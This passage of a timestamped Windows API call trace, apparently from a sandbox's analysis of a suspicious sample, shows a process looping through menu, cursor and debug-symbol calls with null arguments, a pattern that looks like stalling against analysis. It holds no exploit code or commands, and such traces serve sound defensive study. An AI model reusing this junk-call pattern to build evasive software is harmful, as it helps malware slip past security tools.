ImageBase=0x0) returned 0x0 [0185.545] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.545] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.545] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.545] GetLastError () returned 0x579 [0185.545] SetLastError (dwErrCode=0x579) [0185.545] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.545] SymCleanup (hProcess=0x0) returned 0 [0185.545] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.545] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.545] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.545] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.545] GetLastError () returned 0x579 [0185.545] SetLastError (dwErrCode=0x579) [0185.545] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.546] SymCleanup (hProcess=0x0) returned 0 [0185.546] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.546] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.546] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.546] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.546] GetLastError () returned 0x579 [0185.546] SetLastError (dwErrCode=0x579) [0185.546] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.546] SymCleanup (hProcess=0x0) returned 0 [0185.546] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.546] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.546] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.546] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=371, param_4=81, param_5=0x0, param_6=0x0) returned 0 [0185.546] GetLastError () returned 0x579 [0185.546] SetLastError (dwErrCode=0x579) [0185.546] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.546] SymCleanup (hProcess=0x0) returned 0 [0185.546] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.546] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.546] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.546] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.546] GetLastError () returned 0x579 [0185.546] SetLastError (dwErrCode=0x579) [0185.546] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.546] SymCleanup (hProcess=0x0) returned 0 [0185.547] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.547] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.547] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.547] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.547] GetLastError () returned 0x579 [0185.547] SetLastError (dwErrCode=0x579) [0185.547] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.547] SymCleanup (hProcess=0x0) returned 0 [0185.547] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.547] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.547] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.547] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.547] GetLastError () returned 0x579 [0185.547] SetLastError (dwErrCode=0x579) [0185.547] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.547] SymCleanup (hProcess=0x0) returned 0 [0185.547] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.547] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.547] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.547] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.547] GetLastError () returned 0x579 [0185.547] SetLastError (dwErrCode=0x579) [0185.547] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.547] SymCleanup (hProcess=0x0) returned 0 [0185.547] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.548] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.548] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.548] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1139, param_4=151, param_5=0x0, param_6=0x0) returned 0 [0185.548] GetLastError () returned 0x579 [0185.548] SetLastError (dwErrCode=0x579) [0185.548] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.548] SymCleanup (hProcess=0x0) returned 0 [0185.548] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.548] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.548] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.548] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.548] GetLastError () returned 0x579 [0185.548] SetLastError (dwErrCode=0x579) [0185.548] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.548] SymCleanup (hProcess=0x0) returned 0 [0185.548] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.548] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.548] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.548] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.548] GetLastError () returned 0x579 [0185.548] SetLastError (dwErrCode=0x579) [0185.548] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.548] SymCleanup (hProcess=0x0) returned 0 [0185.548] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.548] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.549] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.549] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.549] GetLastError () returned 0x579 [0185.549] SetLastError (dwErrCode=0x579) [0185.549] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.549] SymCleanup (hProcess=0x0) returned 0 [0185.549] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.549] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.549] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.549] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.549] GetLastError () returned 0x579 [0185.549] SetLastError (dwErrCode=0x579) [0185.549] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.549] SymCleanup (hProcess=0x0) returned 0 [0185.549] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.549] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.549] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.549] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=256, param_4=86, param_5=0x0, param_6=0x0) returned 0 [0185.549] GetLastError () returned 0x579 [0185.549] SetLastError (dwErrCode=0x579) [0185.549] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.549] SymCleanup (hProcess=0x0) returned 0 [0185.549] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.549] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.550] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.550] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.550] GetLastError () returned 0x579 [0185.550] SetLastError (dwErrCode=0x579) [0185.550] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.550] SymCleanup (hProcess=0x0) returned 0 [0185.550] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.550] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.550] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.550] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.550] GetLastError () returned 0x579 [0185.550] SetLastError (dwErrCode=0x579) [0185.550] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.550] SymCleanup (hProcess=0x0) returned 0 [0185.550] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.550] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.550] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.550] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.550] GetLastError () returned 0x579 [0185.550] SetLastError (dwErrCode=0x579) [0185.550] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.550] SymCleanup (hProcess=0x0) returned 0 [0185.550] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.550] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.550] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.551] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.551] GetLastError () returned 0x579 [0185.551] SetLastError (dwErrCode=0x579) [0185.551] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.551] SymCleanup (hProcess=0x0) returned 0 [0185.551] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.551] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.551] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.551] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=277, param_4=322, param_5=0x0, param_6=0x0) returned 0 [0185.551] GetLastError () returned 0x579 [0185.551] SetLastError (dwErrCode=0x579) [0185.551] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.551] SymCleanup (hProcess=0x0) returned 0 [0185.551] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.551] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.552] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.552] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.552] GetLastError () returned 0x579 [0185.552] SetLastError (dwErrCode=0x579) [0185.552] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.552] SymCleanup (hProcess=0x0) returned 0 [0185.552] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.552] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.552] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.552] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.552] GetLastError () returned 0x579 [0185.552] SetLastError (dwErrCode=0x579) [0185.552] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.552] SymCleanup (hProcess=0x0) returned 0 [0185.552] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.552] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.552] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.552] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.552] GetLastError () returned 0x579 [0185.552] SetLastError (dwErrCode=0x579) [0185.552] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.552] SymCleanup (hProcess=0x0) returned 0 [0185.552] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.552] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.552] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.553] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.553] GetLastError () returned 0x579 [0185.553] SetLastError (dwErrCode=0x579) [0185.553] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.553] SymCleanup (hProcess=0x0) returned 0 [0185.553] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.553] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.553] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.553] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=479, param_4=101, param_5=0x0, param_6=0x0) returned 0 [0185.553] GetLastError () returned 0x579 [0185.553] SetLastError (dwErrCode=0x579) [0185.553] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.553] SymCleanup (hProcess=0x0) returned 0 [0185.553] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.553] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.553] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.553] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.553] GetLastError () returned 0x579 [0185.553] SetLastError (dwErrCode=0x579) [0185.553] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.553] SymCleanup (hProcess=0x0) returned 0 [0185.553] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.553] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.553] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.554] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.554] GetLastError () returned 0x579 [0185.554] SetLastError (dwErrCode=0x579) [0185.554] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.554] SymCleanup (hProcess=0x0) returned 0 [0185.554] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.554] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.554] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.554] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.554] GetLastError () returned 0x579 [0185.554] SetLastError (dwErrCode=0x579) [0185.554] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.554] SymCleanup (hProcess=0x0) returned 0 [0185.554] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.554] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.554] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.554] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.554] GetLastError () returned 0x579 [0185.554] SetLastError (dwErrCode=0x579) [0185.554] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.554] SymCleanup (hProcess=0x0) returned 0 [0185.554] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.554] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.554] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.555] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=798, param_4=320, param_5=0x0, param_6=0x0) returned 0 [0185.555] GetLastError () returned 0x579 [0185.555] SetLastError (dwErrCode=0x579) [0185.555] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.555] SymCleanup (hProcess=0x0) returned 0 [0185.555] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.555] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.555] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.555] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.555] GetLastError () returned 0x579 [0185.555] SetLastError (dwErrCode=0x579) [0185.555] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.555] SymCleanup (hProcess=0x0) returned 0 [0185.555] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.555] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.555] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.555] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.555] GetLastError () returned 0x579 [0185.555] SetLastError (dwErrCode=0x579) [0185.555] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.555] SymCleanup (hProcess=0x0) returned 0 [0185.555] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.555] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.555] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.555] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.556] GetLastError () returned 0x579 [0185.556] SetLastError (dwErrCode=0x579) [0185.556] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.556] SymCleanup (hProcess=0x0) returned 0 [0185.556] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.556] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.556] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.556] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.556] GetLastError () returned 0x579 [0185.556] SetLastError (dwErrCode=0x579) [0185.556] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.556] SymCleanup (hProcess=0x0) returned 0 [0185.556] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.556] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.556] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.556] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1227, param_4=829, param_5=0x0, param_6=0x0) returned 0 [0185.556] GetLastError () returned 0x579 [0185.556] SetLastError (dwErrCode=0x579) [0185.556] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.556] SymCleanup (hProcess=0x0) returned 0 [0185.556] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.556] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.556] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.556] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.557] GetLastError () returned 0x579 [0185.557] SetLastError (dwErrCode=0x579) [0185.557] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.557] SymCleanup (hProcess=0x0) returned 0 [0185.557] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.557] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.557] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.557] TrackPopupMenuEx (param_1=0x0, 